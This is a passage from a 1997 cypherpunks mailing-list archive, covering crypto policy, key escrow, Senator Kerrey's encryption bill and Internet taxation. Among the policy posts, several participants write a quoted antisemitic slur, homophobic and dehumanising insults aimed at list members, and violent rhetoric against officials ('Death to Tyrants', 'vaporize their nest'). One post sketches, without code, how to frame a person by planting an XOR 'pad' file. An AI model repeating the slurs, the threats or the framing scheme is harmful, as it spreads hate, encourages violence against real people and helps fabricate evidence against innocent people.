Enforcement Network (FinCEN), responsible for catching money launderers and
other financial criminals and another would-be cryptographic hoplaphobe,
certainly seemed to understand that if blind-signature digital bearer
certificates are proven to be as economically efficient as a few of us on
the net think they will be, FinCEN's ability to monitor transactions on the
net will just disappear. Not only because they can't see those transaction
behind the Chaumian blind-signature algorithm, but because the sheer volume
of transactions (the micromoney mitochondria,
digital-cash-as-microprocessor-food idea I like to throw around, as an
extreme example) will physically choke any monitoring effort they attempt
to build. In yet another paraphrase of John Gilmore's law of internet
censorship, the net sees surveillance as damage, and routes around it.
Again, inertia is a problem here, and the powers-that-be at FinCEN haven't
given up quite yet on ultimately controlling the impending explosion of
internet financial cryptography, as NSA's management seems to have with
crypto in general. Mostly because all the starry-eyed claims people like me
make on behalf of digital bearer certificates are just that, claims, with
no empirical evidence so far to back them up. Yet. :-).

Finally, that leaves wiretaps, and the FBI's Louis Freeh, a man who got his
law-enforcement bones because of bugs and wiretaps, and who has never seen
a wiretap he didn't like. First of all, Freeh faces the same problem FinCEN
faces. Even if it were economically possible for the FBI to get the
monsterous wiretap capability that the freshly legislated CALEA now crams
down the collective financial throat of every telecoms manufacturer and
provider on earth. Even if he did get access to all cryptographic keys,
which he can't physically do, because economics will require that most of
those session keys be disposed of as fast as they're used. Even if, in
spite of both of those flights of economic fantasy, he were able to do so,
Freeh still can't physically monitor all that communication, in the same
sense that FinCEN can't follow all those transactions on the internet.
Gilmore's Law strikes again.

But, the joke here, of course, is that surveillence technology in meatspace
itself is going to continue to increase. The eventual prospect of
ubiquitous videobugging both by government and private sources means that a
lot of David Brin's surveillance society will probably come to pass, and
physical crime will continue to diminish as a result.  The law-enforcement
need for tapped or "excrowed" communictions will probably disappear,
because even when Freeh & Co. couldn't just subpoena some stored private
video somewhere, planting a physical bug, Gotti-style, will be much easier
than listening in to an "excrowed" communication with disposable session
keys.

Much in the same way, I might add, as if the NSA bunch had never mentioned
the idea of key escrow at all to Louis Freeh. That's because the inherent
need of corporations to secure their own data from the hostile or
accidental behavior of their own people would have already created a market
for encrypted data recovery anyway. All the law enforcement community would
need to do to get access to that information is the same thing they use for
anything else: a subpoena. Again, the "rational control" of government
destroyed what would have been a much more efficient market driven
technology. Like the filtering of offensive internet content was before the
Communications Decency Act threatened to "require" it, some very creative
people were thinking very hard about private key and cryptography data
recovery schemes and now won't touch them because the government wants to
mandate key escrow, er, "recovery", into existance.

However, the last laugh in the upcoming surveillance society will
eventually be had by privacy advocates on would-be totalitarians like Mr.
Freeh, and, it seems, on Al Gore, who seems to be Freeh's chief cheerleader
in the Clinton administration. Remember that Stalin, too, came to
totalitarianism from the absolutism of the extreme left, and leftist
absolutism is something Mr. Gore's book "Earth in the Balance" is chock
full of. Somewhere, Freddy Hayek is laughing.

Anyway, in the ultimate twist of fate, all those ubiquitous surveillance
devices will be predominantly in *private* hands, and, as the cleptocracy
of the modern nation state continues to implode from it's own greed and
power-lust, those surveillance devices will, eventually, be linked to
privately held security firms, and, maybe someday to autonomous
*munitions*. See the "Mesh and the Net",
, for some hints to this kind of
defensive military technology. I claim that as we will be able to allocate
network resources with some kind of cash settled economy, so too will we
someday be be able to directly "purchase" the services of these kinds of
technologies, without the centralized economic distortion of a
nation-state. In other words, we'll be much more physically secure without
people like Mr. Freeh, than with them.

While that's a long way off, it's probably not so far as freedom and
privacy advocates fear. For instance, if, say, 10 years from now, as some
people have predicted, your home security system had complete visual
coverage of your property with a swarm of very cheap CCD videocameras, all
streaming that encrypted video over the net to some secure (possibly
anonymous) storage place, then not only do criminals have a tougher time
comitting crimes against your person and property, but so too does
government. In addition, with such a system, there's nothing to keep a
private cop or detective from appearing at the scene of the crime, probably
at much less cost than that of a government one. Heck, the purchase of the
cop's or detective's time could occur on a cash-settled auction market, for
that matter.  Paid by private crime insurance, of course. :-). Once again,
information technology reduces government to the functional equivalent of
ceremony, following monarchy down the road to mere decoration and, lately,
occassional entertainment.


Now, I agree that just waiting around for all this to mysteriously appear
won't make it happen any faster. The faster the technology is built,
deployed, and most important, made profitable, the better. And, these days,
all this statist encroachment on our freedom feels, very debatably, like
being a Jew on Krystallnacht waiting for the Americans to win the war
already. But, this technology *is* going to happen, and, while
nation-states aren't going to go down without fighting for their
institutional lives, they *have* lost. Hopefully, the sooner they know
they've lost, the sooner they'll give up, join the human race, and get on
with building the future.


Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/







From 00043.an at edtec.com  Fri May  9 10:13:53 1997
From: 00043.an at edtec.com (00043.an at edtec.com)
Date: Sat, 10 May 1997 01:13:53 +0800
Subject: One-Time Pads as Attack Method
Message-ID: <9705091650.AA19981@future.atlcom.net>



1. Agents of the Enemy wish to create the appearance of you possessing
document A.
2. They obtain some artifact you have emailed, or posted, or possess on
your private local storage. ---
Possibly even signed.  Call this message B.
3. They create the XOR of A and B, the result being a 'one time pad' C.
which of course, gives:
private message B XOR C = target bogus message A.  This result is of course
not a one time pad;
the plan is to accuse you of possessing materials that prove you are
trading with the enemy,
exchanging kiddie-porn, any of the usual things.
4. This 'one time pad' file C. somehow finds its way into your possession:
it is an email attachment,
embedded in some binary --- it could even be stego'ed into a GIF/JPG.
5. The agents break down the door and seize all your effects.  
6. They are able to prove that you possess B and C, the XOR of which is A.,
a fact that is impossible
to have happened at random.
7. The jury doesn't know shit, and figures that if the chances of B ^ C = A
by accident are 0,
then you must be guilty.

I'm only looking at the general schema of an attack like this: I'm sure
there are many ways
the right defense could be mounted about how the files got on the client's
computer, etc.etc.

The interesting part of this frame-job is using something you may have
already publicly posted,
making denial of its origin difficult, together with a surreptitious
planting of the 'pad' data.

Naturally the incriminating data payload could be delivered directly,
without the OTP business.
But I thought it might be worth examining the implications of this theme.









From nobody at REPLAY.COM  Fri May  9 10:43:52 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Sat, 10 May 1997 01:43:52 +0800
Subject: El Gamal
In-Reply-To: 
Message-ID: <199705091728.TAA12492@basement.replay.com>


Vulis wrote re ElGamal:
>
> Why won't Sameer "Gas the Kikes" Parekh hire his fellow Arab?


Because Sameer's competition already hired him.  Get a clue...






From stoutb at pios.com  Fri May  9 10:49:40 1997
From: stoutb at pios.com (Bill Stout)
Date: Sat, 10 May 1997 01:49:40 +0800
Subject: 64-bit CPU 10x faster in crypto?
Message-ID: <2.2.32.19970509173208.006a8a64@vaxf.pios.com>


During a Digital seminar, a statement was made that 64-bit CPUs are about
10x faster than a 32-bit CPU in dealing with crypto, and that Alphas are
favorites of Crypto-affiliated Gov't agencies.  I spoke with a reference
within Digital and the following logic was presented:

  o A 128-bit key is processed in two 64-bit chunks, vs four 32-bit chunks,
greatly reducing processing time.
  o The Alpha executes four instructions per clock cycle.
  o Alpha clock ratings are 600MHz this summer.
  o Caveat: The O.S. needs to support 64-bit processing (Digital UNIX or
Linux, not NT).

I'm concerned about the strength of personal/corporate crypto in face of
large jumps in processing power.

I do not subscribe to cypherpunks due to the volume, so please respond to me
directly on this question.  stoutb at pios.com

Bill Stout






From tzeruch at ceddec.com  Fri May  9 10:50:47 1997
From: tzeruch at ceddec.com (tzeruch at ceddec.com)
Date: Sat, 10 May 1997 01:50:47 +0800
Subject: Spam Update/Cyber Promo attacked
In-Reply-To: 
Message-ID: <97May9.132052edt.32257-1@brickwall.ceddec.com>


One simple question: where is the property right to a socket and mailbox.

If Wallace has the right to fill my computer with unwanted data, then I
have the same right toward his.  If it is an act of free speech to send
some commercial solicitation for something I would never want, it is hard
not to maintain that an ARP packet isn't covered by the same theory.

It costs me something to filter out spam, and will cost him something to
filter out counterspam of whatever sort.  The NSP may be in the no-man's
land between the trenches, but they are providing the connection and can
tell him to look elsewhere or charge a premium for the extra traffic.







From adam at homeport.org  Fri May  9 11:24:10 1997
From: adam at homeport.org (Adam Shostack)
Date: Sat, 10 May 1997 02:24:10 +0800
Subject: Clinton Admin. to announce new Crypto regs
In-Reply-To: <3.0.32.19970509112208.00f5b584@postoffice.worldnet.att.net>
Message-ID: <199705091759.NAA00667@homeport.org>


Will Rodger wrote:
| 
| It's worth noting, too, that banks and consumer software companies
| will soon export things like PC banking software with minima| l delay. 

	Netscape is PC banking software.

	SSL is the banks encryption tool of choice because it saves
you from having to write or support custom software.

	Claiming that this helps a retail operation is newspeak.

Adam

-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume







From smith at securecomputing.com  Fri May  9 12:13:45 1997
From: smith at securecomputing.com (Rick Smith)
Date: Sat, 10 May 1997 03:13:45 +0800
Subject: Clinton Admin. to announce new Crypto regs
In-Reply-To: <3.0.32.19970509112208.00f5b584@postoffice.worldnet.att.net>
Message-ID: 


At 11:22 AM -0400 5/9/97, Will Rodger wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>At 10:39 PM 5/8/97 +0000, Rick Smith wrote:
>>These "new" regulations "to be issued" are scrambling to catch up with
>>previous and current practices. It doesn't change things at all.
>
>I disagree. Here's why:
>
>New regs unquestionably do change things for US banks. Right
>now banks may export nothing stronger than unescrowed DES. Period.

Interesting. That's inconsistent with what was said in the NRC crypto
policy report. The report stated or at least implied that any commercial
crypto equipment could be exported for sale to a financial institution,
though it had to get an export license. (sorry for imprecision, I don't
have my copy handy).

You seem to be suggesting that the licenses were consistently denied or
permanently delayed for stronger crypto. I can believe it -- a bureacracy
can hide lots of unwritten rules behind a poorly documented licensing
procedure. I personally don't know of an example of stronger crypto being
exported to an overseas financial institution.

However, you're probably right in saying this is a big improvement for
commercial software doing strictly financial crypto. If the BXA produces
similar rules to those they recently drafted, then some types of products
will indeed be easier to export. OpenMarket et al took a risk when they
took on the bureacracy to try to get an export license based on what looked
like an acceptable practice. I agree it must have been an ugly process to
go through, and would be vastly improved by explicit regulation.

Rick.
smith at securecomputing.com      secure computing corporation







From jya at pipeline.com  Fri May  9 13:13:40 1997
From: jya at pipeline.com (John Young)
Date: Sat, 10 May 1997 04:13:40 +0800
Subject: Admin Feigns Back Off On Crypto Bill
Message-ID: <1.5.4.32.19970509195541.0090c6d0@pop.pipeline.com>


News report today:

   Reinsch told reporters that strategy will be to follow advice
   he has been given and not to circulate Administration draft
   bill. Issue is so polarized, he said, that that bill would be
   dismissed quickly, and some of its content that lawmakers
   might want to adopt also would be rejected because it came
   from Administration. Reinsch said it's close call, and
   Administration is reevaluating its tactics constantly. 

This seems to coordinate with Kerrey's initiative to lump
all crypto bills into one "acceptable to the leadership
and the White House."

   http://jya.com/backoff.htm

BTW, another report claims that proposed new regs will allow 
banks the special privilege of strong crypto if they come up 
with an acceptable KMI within two years.

This seems to be what Kerrey means when he says NSA's
Crowell is working with industry to develop an acceptable
KMI along the lines of what government is preparing for
its own use.

All interests to be subservient to the Number One interest?







From nobody at huge.cajones.com  Fri May  9 14:52:00 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Sat, 10 May 1997 05:52:00 +0800
Subject: Security flaw in key recovery -- you're looking at it
Message-ID: <199705092134.OAA05967@fat.doobie.com>


[This is only a test.  If I had been in a bad mood, this message would
have contained the private key of the CEO of a major Entrust customer,
obtained from an Entrust trusted "key safe" server.  Who am I?  Can 
Entrust or its customer's officers finger me?]







From aja.ub at t-online.de  Fri May  9 15:09:17 1997
From: aja.ub at t-online.de (Andreas Jahnke)
Date: Sat, 10 May 1997 06:09:17 +0800
Subject: How to get contact with Cypherpunks?
Message-ID: <33739A33.4CB3@t-online.de>


Hi,

I�m a user of internet technologies and interested to learn more about
privacy and security in internets/intranets. How can I participate?

Greetings from Nueremberg/Germany

Andy






From rittle at comm.mot.com  Fri May  9 15:46:57 1997
From: rittle at comm.mot.com (Loren James Rittle)
Date: Sat, 10 May 1997 06:46:57 +0800
Subject: FreeBSD 2.2.1 on CDROM is shipping out of the U.S.A. with full DES
Message-ID: <9705092233.AA07855@supra.rsch.comm.mot.com>


FYI,

I hope it is not premature but people are starting to take advantage
of the wonderful Patel ruling in the Bernstein v U.S. Department of
Justice case.  Cool!

Loren

From: "Jordan K. Hubbard" 
Newsgroups: comp.unix.bsd.freebsd.misc
Subject: Re: FreeBSD 2.2.1 on CDROM
Date: Wed, 07 May 1997 17:48:51 -0700
Organization: Walnut Creek CDROM
Message-ID: <337122F3.167EB0E7 at FreeBSD.org>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Mailer: Mozilla 3.01 (X11; I; FreeBSD 2.2-STABLE i386)
To: tonyg at OntheNet.com.au

Tony Griffiths wrote:
> I just received the 2.2.1 disk yesterday and it contains the DES stuff
> which has been missing on all previous disks I have received!

That's because it's now legal for us to export it.

An S.F. district judge recently ruled that exporting encryption is
legal, at least within her jurisdiction, and so our lawyer has OK'd our
taking advantage of this fact [that we fall geographically within her
sphere of influence] to export crypto.  I have always *wanted* to do
this, since shipping "crippled" CDs in order that I might export them
was abhorent to me, and now I can.

This also means that the unpacked CVS repository on SNAPshot CDs contain
full sources for des, kerberos etc and so forth and you can actually
_use_ the repository to check out a complete, unadulterated version of
FreeBSD at any release version from 2.0 onwards.

-- 
- Jordan Hubbard
  FreeBSD core team / Walnut Creek CDROM.






From dlv at bwalk.dm.com  Sat May 10 07:30:09 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 10 May 1997 07:30:09 -0700 (PDT)
Subject: New admin crypto policy
In-Reply-To: <199705100524.WAA32396@fat.doobie.com>
Message-ID: 


nobody at huge.cajones.com (Huge Cajones Remailer) writes:

> It is time something unfortunate happened to all those leading the push for n

Let's have Cocksucker John Gilmore unsubscrive them from this mailing list.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From stutz at dsl.org  Fri May  9 16:46:14 1997
From: stutz at dsl.org (Michael Stutz)
Date: Sat, 10 May 1997 07:46:14 +0800
Subject: Encryption defined
Message-ID: 


Online at http://www.wired.com/news/politics/story/3760.html

  [arrow]  ... And That's What Encryption Is
           by Wired News Staff

           2:58pm  9.May.97.PDT It's rare to get a glimpse of the lawmaking
           mind as it churns policy. But with the help of an unnamed
           Washington reporter, the public got a look at how two Democratic
           senators who want to pass a new law on how encryption should be
           used and regulated think about the issue.

           The setting was an informal daily get-together with reporters
           sponsored by Senate Minority Leader Tom Daschle of South Dakota.
           On Thursday, Senator Bob Kerrey of Nebraska was on hand to
           announce he is sponsoring a cryptography-control bill. We pick
           up the proceedings with a reporter's question to the senators:

           How would you define encryption?

           Daschle: Encryption is the - and Senator Kerrey can do a lot
           better job than I can - but my definition of encryption is to
           create a code by which sensitive information can be protected on
           the Internet....

           Kerrey: Well, I mean, to answer your question, I mean,
           encryption is - the political equivalent of encryption is you
           ask me a question, I give you an answer and you don't understand
           it. I mean, I intentionally garble the answer frequently. I
           intentionally garble the response so that you can't understand
           what I'm saying.

           And that's - you notice that I've got the ability to do that. I
           don't always do that, but that's what occurs with digital
           communication. The message is scrambled in a way that is very
           difficult to unscramble. And depending upon the power of your
           computer, you in fact may not be able to unscramble it at all.

Copyright � 1993-97 Wired Ventures, Inc. and affiliated companies.
All rights reserved.






From nobody at huge.cajones.com  Fri May  9 17:21:27 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Sat, 10 May 1997 08:21:27 +0800
Subject: How many of HOTMAIL's 3,000,000 users want SSL???
Message-ID: <199705100010.RAA16139@fat.doobie.com>



Please consider writing your corporacongressmyn and explaining to them
briefly, yet  your concern about packet sniffers.  Hotmail's
market is exploding and they just might need a way to distinguish
themselves from their competitor American Express (usa.net=netaddress.com)
during the next year, even while they continue living on the edge with
weak push/advertising revenue.  Send no money, but these people deserve
our support:

 comments at hotmail.com       "New features you would like to see or
                            general comments about Hotmail."

Or,

 support at hotmail.com        "Assistance with using Hotmail's features or
                            technical difficulties with your account."

Remember, it just takes A MINUTE to...

 "contact Hotmail by phone: 408.222.7000 -- 10:00 am to 6:00 pm Pacific Time"






From dlv at bwalk.dm.com  Fri May  9 17:46:29 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 10 May 1997 08:46:29 +0800
Subject: El Gamal
In-Reply-To: <199705091728.TAA12492@basement.replay.com>
Message-ID: 


nobody at REPLAY.COM (Anonymous) writes:

> Vulis wrote re ElGamal:
> >
> > Why won't Sameer "Gas the Kikes" Parekh hire his fellow Arab?
>
> Because Sameer's competition already hired him.  Get a clue...

Okidata is competing with Sameer?

After failing as an ISP and as a web server vendor, Sameer decided
to switch to peddling printers?

Or is Sameer diversifying into Usenet newsreaders with no killfiles?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From lucifer at dhp.com  Fri May  9 18:01:28 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Sat, 10 May 1997 09:01:28 +0800
Subject: Certified primes
Message-ID: <199705100047.UAA16220@dhp.com>


As `homo' as he might be, Timmy May is not of the 
species `Homo Sapiens', but rather `Papio Mephitis'. 
Unlike human beings, he has not descended from apes --- 
yet.

  o-:^>___? Timmy May
  `~~c--^c'






From declan at well.com  Fri May  9 18:05:31 1997
From: declan at well.com (Declan McCullagh)
Date: Sat, 10 May 1997 09:05:31 +0800
Subject: Bill of Goods, from The Netly News Network
Message-ID: 



************

http://pathfinder.com/netly/editorial/0,1012,931,00.html

The Netly News Network
http://netlynews.com/
May 9, 1997

Bill of Goods
by Declan McCullagh (declan at well.com)

     Senate Democrats are preparing legislation that
requires universities and other groups receiving
Federal grants to make their communication networks
snoopable by the government, The Netly News has
learned. The draft also includes penalties for
"unauthorized breaking of another's encryption codes,"
and restrictions on importing encryption products.

     At a Democratic leadership press briefing, Sen.
Bob Kerrey (D-Neb.) yesterday said his bill slightly
relaxed export rules in exchange for greater federal
control over crypto imports. But what he appears to be
truly aiming for is a full-scale assault on your right
to use whatever encryption software you want in your
own home.

     Academics are indignant over the strings attached
to grants. "This is outrageous," says Dave Farber, a
university professor at the University of Pennsylvania
and an EFF board member. "It's going to generate
roaring screams on campus. If you look at Internet II,
if you look at the Next Generation Internet, if you
look at campus networks -- all those have components
of federal funds."

     It's diabolical. Researchers already have to
comply with a legion of rules to qualify for grants.
Kerrey's proposed bill, called "The Secure Public
Network Act," would add yet another provision to the
fine print. It requires that "all encryption software
purchased with federal funds shall be software based
on a system of key recovery" and "all encrypted
networks established with the use of federal funds
shall use encryption based on a system of key
recovery." Key recovery, or key escrow, technology
enables law-enforcement officials to obtain copies of
the mathematical keys needed to decipher messages. In
other words, someone else keeps a copy of your secret
key -- and some proposed bills say that the cops may
not even need a search warrant to seize it.

     And not just universities will be jump-starting
the market for domestic key escrow. Organizations from
defense contractors to the United States Institute of
Peace to the American Red Cross receive federal
monies.

     "This is out-and-out industrial policy," says Jim
Lucier of Americans for Tax Reform. "It's going to
affect every technology there is for doing business on
the Net."

     What about the penalties for "unauthorized
breaking of another's encryption codes?" That would
criminalize cryptanalysis, the way to verify the
security of encryption software you buy. "The only way
to know the strength of a cipher is cryptanalysis,"
says Marc Briceno, a cryptography guru at Community
ConneXion.

     Then there's Kerrey's statement saying "there
will be" restrictions on what encryption products
you're permitted to buy from overseas firms. This
contradicts Justice Department official Michael Vatis,
who told me at a conference this year that the Clinton
administration did not want import controls. Though
Cabe Franklin, spokesperson for Trusted Information
Systems, says Kerrey was misunderstood. "In the
briefing afterwards, I found out he didn't mean that
at all. He meant import controls, but more regulation
than restriction. The same way they wouldn't let a car
with faulty steering controls in the country. He meant
more quality control," Franklin says. (I don't know
about you, but I'm not convinced.)

     But the real question is: Why does Kerrey think
this rat-bastard bill has any chance of passing
through Congress, especially when there's already
legislation that would generally relax controls on
crypto? After all, Rep. Bob Goodlatte (R-Va.)'s "SAFE"
bill already has 86 cosponsors and shot out of
subcommittee last week. Sen. Conrad Burns' (R-Mont.)
"Pro-CODE" bill is headed for markup next month.

     The answer is simple: this a trading chit that
the White House and the Democratic leadership can play
to water down the Burns and Goodlatte bills, and
perhaps meld all three together.

     The Democratic strategy makes sense. Members of
Congress are driven by a fierce, desperate urge to
compromise. The drive is primal: legislators are
compelled to find a middle ground. But to their
chagrin, crypto doesn't offer one. Either you keep a
copy of the electronic keys to your files or someone
else does -- which is exactly what the White House
wants. Either you're free to speak privately over the
Net using PGP, or you're not -- which is exactly what
the White House also wants.

     This may seem like a lot of high-powered
attention on an obscure subject; after all, encryption
does nothing more than scramble, verify and reassemble
bits of information. Besides ensuring that your
messages are private, encryption provides the
protocols for scrambling credit card numbers and
minting electronic coins. It allows digital
signatures, proofs of identity online, digital time
stamps and even secure electronic voting. It lets
anonymous remailers exist. It supplies the foundation
and steel girders for an information society.

     Kerrey's sudden interest in cryptologic arcana
likely stems from a recent addition to his staff:
policy aide Chris McLean.

     McLean is hardly a friend of the Net. While in
former Sen. Jim Exon's (D-Neb.) office, McLean drafted
the notorious Communications Decency Act and went on
to prompt Exon to derail "Pro-CODE" pro-encryption
legislation last fall. Then, not long after McLean
moved to his current job, his new boss stood up on the
Senate floor and bashed Pro-CODE in favor of the White
House party line: "The President has put forward a
plan which in good faith attempts to balance our
nation's interests in commerce, security, and law
enforcement."

     Now, more ominously, McLean just might be Bill
Clinton's appointee to fill a vacant slot at the
Federal Communications Commission. If you think the
White House is out to slam the Net, imagine what the
FCC could do...  

###


-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/







From real at freenet.edmonton.ab.ca  Fri May  9 19:05:47 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Sat, 10 May 1997 10:05:47 +0800
Subject: Certified primes
In-Reply-To: <199705100047.UAA16220@dhp.com>
Message-ID: 


On Fri, 9 May 1997, lucifer Anonymous Remailer wrote:

Please can you stop this spam from your site.

> As `homo' as he might be, Timmy May is not of the 
> species `Homo Sapiens', but rather `Papio Mephitis'. 
> Unlike human beings, he has not descended from apes --- 
> yet.
> 
>   o-:^>___? Timmy May
>   `~~c--^c'
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real at freenet.edmonton.ab.ca : ab756 at freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From declan at well.com  Fri May  9 19:25:53 1997
From: declan at well.com (Declan McCullagh)
Date: Sat, 10 May 1997 10:25:53 +0800
Subject: FC: Tax the Net! Report from Capitol Hill...
Message-ID: 


************

Date: Fri, 9 May 1997 21:57:45 -0400
To: fight-censorship-announce at vorlon.mit.edu
From: Declan McCullagh 
Subject: FC: Tax the Net! Report from Capitol Hill...
Sender: owner-fight-censorship-announce at vorlon.mit.edu
Reply-To: declan at well.com
X-FC-URL: Fight-Censorship is at http://www.eff.org/~declan/fc/

So I'm sitting in this rundown basement meeting room in the
Rayburn House office building listening to a bunch of DC
policy wonks spout off about Internet taxation. Too bad
I'll have to wait to get back to the bureau to log in.
Gotta get Strosser in Purchasing to get me that radio
modem. It'll be great for playing networked Quake when
Senate Judiciary hearings are yawners.

Bruce Cohen from the Treasury Department is speaking.
Horn-rimmed glasses, nondescript blue suit, definitely a
geek. Tries a joke: "I hope there are no criminal tax
evaders in the audience." It flubs; folks glance at each
other nervously. I lean over to the guy from Cox's office
next to me and whisper, "I guess that's IRS humor." He
deadpans, "For what it's worth."

Cohen is praising a Treasury Department white paper
released last fall that says basically "No New Net Taxes."
That's true. But you have to read the fine print. Which I
did. That's where one finds the very clear suggestion that
existing tax laws must be extended to encompass the
Internet -- in the kind of clumsy and misinformed way that
has typified federal forays into legislating online
behavior.

"We have a tax system based on a 19th century model of
industry," Cohen continues. "Cash poses problems for cash
administrators. Electronic cash poses additional problems."

It does. The guy from IBM admitted a couple minutes ago
that if I buy _physical goods_ over the Net and have 'em
shipped to my zip code (20036), then the usual taxes should
apply. Just like mail order. But problems arise when the
product sold is virtual. If I buy a copy of an email
program from Poland, pay for it with digital cash from an
Amsterdam bank, and get a partial refund from a firm in
Singapore, which government taxes what? No wonder the
Internet Caucus decided to organize today's luncheon.
Everyone on the Hill's still scratching their heads.

Now Americans for Tax Reform's Jim Lucier (a longtime f-c
subscriber) is at the podium. He recommends "reengineering
the tax code" to address some of the unique aspects of the
Net. A steely silence descends on the room. Okay, that
ain't gonna happen. Too bad. Lucier is one of the few folks
in the room who has a clue about the Net.

To be sure, cypherpunks have anticipated these regulatory
problems for years. I remember Lucky Green, a digital cash
guru and veteran 'punk, stopping by my apartment last
summer. Over beers, we talked crypto-anarchy: as more and
more transactions move online, as more folks become
"knowledge workers," as they get paid in foreign e-cash for
writing or hacking code, the Feds' ability to tax income
(and virtual spending) will suffer.

But that doesn't mean taxes disappear. (Yeah, I know. What
a shame.) Governments always will be able to tax physical
purchases and meatspace property. When I buy a loaf of
bread at my favorite organic grocery down on Columbia Road,
the Man can monitor the grocer to ensure he reports the
transaction. Or property taxes: governments will always be
able to extract 'em. Taxes will shift from income to sales
and property.

Things are winding down. Aaron from White's office is
asking for questions. Embarassed silence. Nobody asks any.
Is it because nobody understands the stuff or because
everybody understands the stuff?

Time passes. Yep, the silence is definitely caused by
nobody wanting to sound stupid. Aaron gives up. The
panelists get to ask each other questions instead. Lucier
starts rambling about the economics of tax policy, but
nobody can understand, so we all ignore it.

Then Mark Rhoads, the guy supposedly representing the state
legislators, stands up. He says the only funny thing of the
afternoon: "I worked for Dirksen when he wasn't a
building." Or something like that. Maybe you had to be
there.

Anyway, he doesn't like the Cox-Wyden bill that would
prevent states from taxing the Net: "I'll give you a
nightmare scenario. What if you had a garage sale and
invited 80 million people to your garage sale. I happen to
be a collector of antique plates. The efficiency the
Internet creates allows me to find people. The
complications involved in taxing that at either the federal
or state level are amazing."

Anyone want to bet that's going to stop 'em from trying?

-Declan



-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/


--------------------------------------------------------------------------
This list is public. To join fight-censorship-announce, send
"subscribe fight-censorship-announce" to majordomo at vorlon.mit.edu.
More information is at http://www.eff.org/~declan/fc/







From tcmay at got.net  Fri May  9 19:44:25 1997
From: tcmay at got.net (Tim May)
Date: Sat, 10 May 1997 10:44:25 +0800
Subject: Bill of Goods, from The Netly News Network
In-Reply-To: 
Message-ID: 


At 4:42 PM -0800 5/9/97, Declan McCullagh wrote:
>************
>
>http://pathfinder.com/netly/editorial/0,1012,931,00.html
>
>The Netly News Network
>http://netlynews.com/
>May 9, 1997
>
>Bill of Goods
>by Declan McCullagh (declan at well.com)
...
>     It's diabolical. Researchers already have to
>comply with a legion of rules to qualify for grants.
>Kerrey's proposed bill, called "The Secure Public
>Network Act," would add yet another provision to the
...
>     But the real question is: Why does Kerrey think
>this rat-bastard bill has any chance of passing
>through Congress, especially when there's already
>legislation that would generally relax controls on
>crypto? After all, Rep. Bob Goodlatte (R-Va.)'s "SAFE"
>bill already has 86 cosponsors and shot out of
>subcommittee last week. Sen. Conrad Burns' (R-Mont.)
>"Pro-CODE" bill is headed for markup next month.
>
>     The answer is simple: this a trading chit that
>the White House and the Democratic leadership can play
>to water down the Burns and Goodlatte bills, and
>perhaps meld all three together.
>House party line: "The President has put forward a
>plan which in good faith attempts to balance our
>nation's interests in commerce, security, and law
>enforcement."

My hearty congratulations to Declan for this strong stance against the
Kerrey treason. I'm glad to see his strong criticism of it, and his
accurate speculation that a "grand compromise" with the criminals is likely.

I doubt one of his employers, "Time," will use his analysis...much too
radical for their get along/go along policy.

As for the fucking bureacrats, the Founding Fathers had it exactly right:

"Death to Tyrants!"


(Sadly, in these last decades of the American Nation, the scum will view
this as a "threat." Fuck em. Better, vaporize their nest.)

--Tim May, still a felon under their treasonous laws



There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From jya at pipeline.com  Fri May  9 19:59:10 1997
From: jya at pipeline.com (John Young)
Date: Sat, 10 May 1997 10:59:10 +0800
Subject: Kerrey's Crypto Bill
Message-ID: <1.5.4.32.19970510024526.008e4704@pop.pipeline.com>


Thanks to Declan McCullagh we offer Senator Kerrey's
outline of his encryption bill, The Secure Public Network Act:

   http://jya.com/tspna.htm  (12K)







From tcmay at got.net  Fri May  9 21:05:45 1997
From: tcmay at got.net (Tim May)
Date: Sat, 10 May 1997 12:05:45 +0800
Subject: Spam Update/Cyber Promo attacked
In-Reply-To: <3.0.1.32.19970508230144.00947a40@gateway.grumman.com>
Message-ID: 


At 7:46 AM -0800 5/9/97, Ray Arachelian wrote:

>Filtering isn't the point.  Just as you have the right to free speech,
>you also have the right to ignore someone else's speech as it is aimed at
>you.  If you don't want Cyberspammo to spam you, they should honor your
>request to take their crap elsewhere.

